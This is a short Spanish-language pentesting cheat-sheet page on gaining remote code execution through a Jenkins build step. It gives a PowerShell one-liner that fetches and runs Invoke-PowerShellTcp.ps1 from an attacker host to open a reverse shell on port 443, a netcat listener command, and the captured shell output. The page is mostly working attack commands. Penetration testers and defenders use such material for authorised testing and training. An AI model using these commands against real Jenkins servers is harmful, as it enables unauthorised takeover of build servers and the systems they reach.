Jenkins

Explotación

[RCE] Ejecución de comandos + Reverse shell

Creación de una tarea dentro de un proyecto con un código que envíe una reverse shell hacia una máquina controlada por el/la atacante que se encuentre a la escucha:

Dashboard > Project 1 > Configure > Build Triggers > Build Steps > Execute Windows batch command

192.168.1.100 # IP de la máquina de ataque 
443           # Puerto a la escucha en la máquina
powershell iex(iwr -UseBasicParsing http://192.168.1.100/Invoke-PowerShellTcp.ps1); power -Reverse -IPAddress 192.168.1.100 -Port 443

En la máquina de ataque se pone el puerto 443 a la escucha:

C:\Infra\Tools\netcat\nc64.exe -lvp 443

Por otro lado, en la máquina de ataque, se levanta un servidor temporal donde se expondrá el fichero "Invoke-PowerShellTcp.ps1" que se utiliza en el payload anterior.

Misc

Después de levantar el servidor temporal y poner el puerto 443 a la escucha, se ejecuta la tarea de Jenkins:

Cuando finalice la ejecución de la tarea, se obtendrá la consola de powershell:

listening on [any] 443 ...
192.168.1.112: inverse host lookup failed: h_errno 11004: NO_DATA
connect to [192.168.1.100] from (UNKNOWN) [192.168.1.112] 50238: NO_DATA
Windows PowerShell running as user webuser on JKSERVER
Copyright (C) 2015 Microsoft Corporation. All rights reserved.

PS C:\Users\Administrator\.jenkins\workspace\Project1>

Última actualización

¿Te fue útil?